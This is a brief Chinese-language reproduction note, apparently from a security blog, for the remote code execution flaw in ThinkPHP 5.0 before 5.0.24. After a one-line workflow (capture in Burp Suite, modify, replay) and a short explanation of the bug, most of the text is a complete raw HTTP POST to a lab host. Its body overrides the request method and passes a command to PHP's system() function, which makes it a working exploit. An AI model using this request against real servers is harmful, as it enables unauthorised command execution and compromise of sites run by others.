burpuite抓包—>修改payload—>重放包—>代码执行—>有回显
ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5.0(<5.0.24)中,框架在获取请求方法时会错误地对其进行处理,这使攻击者可以调用Request类的任何方法,从而通过特定的利用链导致RCE漏洞。
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.15.130:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=1v1yqdlc1zren12n0cs4wcfwgp; PHPSESSID=1bb9e7bee96c5ec0fe76b552020c8719
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
https://blog.csdn.net/nicesa/article/details/106247668